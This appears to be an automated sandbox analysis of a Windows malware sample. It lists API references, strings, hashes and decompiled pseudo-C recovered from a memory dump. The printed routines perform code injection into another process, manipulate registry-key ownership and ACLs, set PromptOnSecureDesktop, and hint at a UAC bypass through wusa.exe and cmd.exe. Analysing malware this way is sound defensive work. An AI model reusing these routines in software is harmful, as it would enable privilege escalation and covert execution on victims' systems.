0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,73B74F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,73B74F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

ps, xrefs: 00402CC7

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: ps
API String ID: 1639031587-3878219058
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

D, xrefs: 004015C6
@, xrefs: 00401380
useless, xrefs: 0040161E
<, xrefs: 00401378
uac, xrefs: 00401628
, xrefs: 00401462
%systemroot%\system32\cmd.exe, xrefs: 00401316
wusa.exe, xrefs: 00401388

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: cdcf35e3bcbad91d99e45a863990cf216ff8a826332474c6ebf855fd79f8890e
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: cdcf35e3bcbad91d99e45a863990cf216ff8a826332474c6ebf855fd79f8890e
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,EntryPoint), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,EntryPoint), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 268
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
